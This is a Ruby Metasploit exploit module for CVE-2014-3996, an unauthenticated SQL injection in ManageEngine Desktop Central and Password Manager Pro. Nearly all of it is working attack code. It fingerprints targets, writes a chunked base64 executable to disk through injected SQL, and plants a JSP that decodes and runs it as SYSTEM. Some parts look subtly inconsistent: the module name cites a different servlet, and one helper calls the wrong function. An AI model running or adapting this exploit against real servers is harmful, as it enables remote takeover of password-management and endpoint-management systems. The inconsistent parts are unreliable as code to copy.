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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/file_dropper' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection", 'Description'=> %q{ This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older or upgraded builds). MySQL targets are more reliable due to the use of relative paths; with PostgreSQL you should find the web root path via other means and specify it with WEB_ROOT. The injection is only exploitable via a GET request, which means that the payload has to be sent in chunks smaller than 8000 characters (URL size limitation). Small payloads and the use of exe-small is recommended, as you can only do between 10 and 20 injections before using up all the available ManagedConnections until the next server restart. This vulnerability exists in all versions released since 2006, however builds below DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your luck using the MySQL targets as a JDK might be installed in the $PATH. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>'# Vulnerability discovery and MSF module ], 'References' => [ [ 'CVE', '2014-3996' ], [ 'OSVDB', '110198' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ] ], 'Arch' => ARCH_X86, 'Platform' => %w{ linux win }, 'Targets'=> [ ['Automatic', {}], ['Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', { 'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\', 'Database' => 'postgresql', 'Platform' => 'win' } ], ['Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', { 'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\', 'Database' => 'postgresql', 'Platform' => 'win' } ], ['Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows', { 'WebRoot' => '../../webapps/DesktopCentral/', 'Database' => 'mysql', 'Platform' => 'win' } ], ['Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows', { 'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\', 'Database' => 'postgresql', 'Platform' => 'win' } ], ['Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows', { 'WebRoot' => '../../webapps/PassTrix/', 'Database' => 'mysql', 'Platform' => 'win' } ], ['Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux', { 'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/', 'Database' => 'postgresql', 'Platform' => 'linux' } ], ['Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux', { 'WebRoot' => '../../webapps/PassTrix/', 'Database' => 'mysql', 'Platform' => 'linux' } ] ], 'DefaultTarget'=> 0, 'Privileged' => false,# Privileged on Windows but not on Linux targets 'DisclosureDate' => "Jun 8 2014")) register_options( [ OptPort.new('RPORT', [true, 'The target port', 8020]), OptString.new('WEB_ROOT', [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)']) ], self.class) register_advanced_options( [ OptInt.new('CHUNK_SIZE', [true, 'Number of characters to send per request (< 7800)', 7500]), OptInt.new('SLEEP', [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), OptBool.new('EXE_SMALL', [true, 'Use exe-small encoding for better reliability', true]), ], self.class) end def check check_code = check_desktop_central if check_code == Exploit::CheckCode::Unknown check_code = check_password_manager_pro end check_code end def exploit @my_target = pick_target if @my_target.nil? fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") else print_status("#{peer} - Selected target #{@my_target.name}") end # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case to avoid polluting the web root any more. if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end if datastore['WEB_ROOT'] web_root = datastore['WEB_ROOT'] else web_root = @my_target['WebRoot'] end jsp_name= rand_text_alpha_lower(8) + ".jsp" fullpath = web_root + jsp_name inject_exec(fullpath) register_file_for_cleanup(fullpath.sub('../','')) print_status("#{peer} - Requesting #{jsp_name}") send_request_raw({'uri' => normalize_uri(jsp_name)}) end # Test for Password Manager Pro def password_manager_paths db_paths = {} res = send_request_cgi({ 'uri' => normalize_uri("PassTrixMain.cc"), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/ if datastore['WEB_ROOT'] db_paths[:postgresql] = datastore['WEB_ROOT'].dup db_paths[:mysql] = datastore['WEB_ROOT'].dup else db_paths[:postgresql] = targets[4]['WebRoot'].dup db_paths[:mysql] = targets[5]['WebRoot'].dup end end db_paths end # Test for Desktop Central def desktop_central_db_paths db_paths = {} res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/ if datastore['WEB_ROOT'] db_paths[:postgresql] = datastore['WEB_ROOT'].dup db_paths[:mysql] = datastore['WEB_ROOT'].dup elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/ db_paths[:postgresql] = targets[2]['WebRoot'].dup db_paths[:mysql] = targets[3]['WebRoot'].dup else db_paths[:postgresql] = targets[1]['WebRoot'].dup db_paths[:mysql] = targets[3]['WebRoot'].dup end end db_paths end def db_paths paths = desktop_central_db_paths if paths.empty? paths = check_password_manager_pro end paths end def pick_mysql_target(mysql_path, rand_txt) file_path = mysql_path << rand_txt # @@version_compile_os will give us Win32 / Win64 if it's a Windows target inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql") res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), 'method' => 'GET' }) if res && res.code == 200 register_file_for_cleanup(file_path.sub('../','')) if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/ if mysql_path =~ /DesktopCentral/ # Desktop Central [MSP] / MySQL / Windows return targets[3] else # Password Manager Pro / MySQL / Windows return targets[5] end else # Password Manager Pro / MySQL / Linux return targets[7] end end nil end def pick_postgres_target(postgresql_path, rand_txt) file_path = postgresql_path << rand_txt # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux) inject_sql("copy (select version()) to '#{file_path}'", "postgresql") res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), 'method' => 'GET' }) if res && res.code == 200 register_file_for_cleanup(file_path) if res.body.to_s =~ /Visual C++/ if postgresql_path =~ /DesktopCentral_Server/ # Desktop Central / PostgreSQL / Windows return targets[1] elsif postgresql_path =~ /DesktopCentralMSP_Server/ # Desktop Central MSP / PostgreSQL / Windows return targets[2] else # Password Manager Pro / PostgreSQL / Windows return targets[4] end elsif res.body.to_s =~ /linux/ # This is for the case when WEB_ROOT is provided # Password Manager Pro / PostgreSQL / Linux return targets[6] end end # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and # no WEB_ROOT was provided. Let's try one of the defaults before bailing out. file_path = targets[5]['WebRoot'].dup << rand_txt inject_sql("copy (select version()) to '#{file_path}'", "postgresql") res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /linux/ # Password Manager Pro / PostgreSQL / Linux return targets[6] end nil end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Selecting target, this might take a few seconds...") rand_txt = rand_text_alpha_lower(8) << ".txt" paths = db_paths if paths.empty? # We don't know what this is, bail return nil end postgresql_path = paths[:postgresql] mysql_path = paths[:mysql] # try MySQL first, there are probably more of these out there mysql_target = pick_mysql_target(mysql_path, rand_txt) unless mysql_target.nil? return mysql_target end # didn't work, let's try PostgreSQL postgresql_target = pick_postgres_target(postgresql_path, rand_txt) postgresql_target end # # Creates the JSP that will assemble the payload on the server # def generate_jsp_encoded(files) native_payload_name = rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path= rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) var_files = rand_text_alpha(rand(8) + 3) var_ch= rand_text_alpha(rand(8) + 3) var_istream = rand_text_alpha(rand(8) + 3) var_file= rand_text_alpha(rand(8) + 3) files_decl = "{ " files.each { |file|files_decl << "\"#{file}\"," } files_decl[-1] = "}" if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% String[] #{var_files} = #{files_decl}; try { int #{var_ch}; StringBuilder #{var_buf} = new StringBuilder(); for (String #{var_file} : #{var_files}) { BufferedInputStream #{var_istream} = new BufferedInputStream(new FileInputStream(#{var_file})); while((#{var_ch} = #{var_istream}.read())!= -1) #{var_buf}.append((char)#{var_ch}); #{var_istream}.close(); } BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') if @my_target['Database'] == 'postgresql' # Ruby's base64 encoding adds newlines at every 60 chars, strip them [jsp].pack("m*").gsub(/\n/, '') else # Assuming mysql, applying hex encoding instead jsp.unpack("H*")[0] end end def inject_sql(sqli_command, target = nil) target = (target == nil) ? @my_target['Database'] : target if target == 'postgresql' sqli_prefix = "viewname\";" sqli_suffix = ";-- " else # Assuming mysql sqli_prefix = "viewname\" union " sqli_suffix = "#" end send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri("LinkViewFetchServlet.dat"), 'vars_get'=> { 'sv'=> sqli_prefix << sqli_command << sqli_suffix } }) if target == 'postgresql' # PostgreSQL sometimes takes a while to write to the disk, so sleep more sleep(datastore['SLEEP'] * 2.5) else # Assuming mysql sleep(datastore['SLEEP']) end end # Generate the actual payload def generate_exe_payload opts = {:arch => @my_target.arch, :platform => @my_target.platform} payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win' exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform, payload.encoded, "exe-small", opts) else exe = generate_payload_exe(opts) end Rex::Text.encode_base64(exe) end # Uploads the payload in chunks def inject_exec(fullpath) base64_exe = generate_exe_payload base64_exe_len = base64_exe.length # We will be injecting in CHUNK_SIZE steps chunk_size = datastore['CHUNK_SIZE'] copied = 0 counter = 0 if base64_exe_len < chunk_size chunk_size = base64_exe_len end chunks = (base64_exe_len.to_f / chunk_size).ceil time = chunks * datastore['SLEEP'] * ((@my_target['Database'] == 'postgresql') ? 2.5 : 1) # We dump our files in either C:\Windows\system32 or /tmp # It's not very clean, but when using a MySQL target we have no other choice # as we are using relative paths for injection. # The Windows path has to be escaped with 4 backslashes because ruby eats one # and the JSP eats the other. files = Array.new(chunks) files.map! do |file| if @my_target['Platform'] == 'win' file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3) else # Assuming Linux, let's hope we can write to /tmp file = "/tmp/" + rand_text_alpha(rand(8)+3) end end print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds") if @my_target['Database'] == 'postgresql' inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") else # Assuming mysql inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'") end register_file_for_cleanup(files[counter]) copied += chunk_size counter += 1 while copied < base64_exe_len if (copied + chunk_size) > base64_exe_len # Last loop chunk_size = base64_exe_len - copied end if @my_target['Database'] == 'postgresql' inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") else # Assuming mysql inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'") end register_file_for_cleanup(files[counter]) copied += chunk_size counter += 1 end jsp_encoded = generate_jsp_encoded(files) if @my_target['Database'] == 'postgresql' inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'") else inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'") end end def check_desktop_central_8(body) if body =~ /id="buildNum" value="([0-9]+)"\/>/ build = $1 if ver_gt(build, '80200') print_status("#{peer} - Detected Desktop Central v8 #{build}") else print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)") end else print_status("#{peer} - Detected Desktop Central v8 (MySQL)") end # DC v8 < 80200 uses the MySQL database Exploit::CheckCode::Appears end def check_desktop_central_9(body) if body =~ /id="buildNum" value="([0-9]+)"\/>/ build = $1 print_status("#{peer} - Detected Desktop Central v9 #{build}") if ver_lt(build, '90039') return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end # Test for Desktop Central def check_desktop_central res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) unless res && res.code == 200 return Exploit::CheckCode::Unknown end if res.body.to_s =~ /ManageEngine Desktop Central 7/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 uses the MySQL database print_status("#{peer} - Detected Desktop Central v7 (MySQL)") return Exploit::CheckCode::Appears elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ return check_desktop_central_8(res.body.to_s) elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 9/ return check_desktop_central_9(res.body.to_s) end Exploit::CheckCode::Unknown end # Test for Password Manager Pro def check_password_manager_pro res = send_request_cgi({ 'uri' => normalize_uri("PassTrixMain.cc"), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/ && ( res.body.to_s =~ /login\.css\?([0-9]+)/ ||# PMP v6 res.body.to_s =~ /login\.css\?version=([0-9]+)/ ||# PMP v6 res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 ) build = $1 else return Exploit::CheckCode::Unknown end if ver_lt_eq(build, '6500') # if it's a build below 6500, it will only work if we have a JSP compiler print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)") return Exploit::CheckCode::Detected elsif ver_lt(build, '6800') # PMP v6 < 6800 uses the MySQL database print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)") return Exploit::CheckCode::Appears elsif ver_lt(build, '7003') print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") return Exploit::CheckCode::Appears else print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") Exploit::CheckCode::Safe end end def ver_lt(a, b) Gem::Version.new(a) < Gem::Version.new(b) end def ver_lt_eq(a, b) Gem::Version.new(a) <= Gem::Version.new(b) end def ver_gt_eq(a, b) Gem::Version.new(a) >= Gem::Version.new(b) end def ver_gt(a, b) Gem::Version.new(a) > Gem::Version.new(b) end end |
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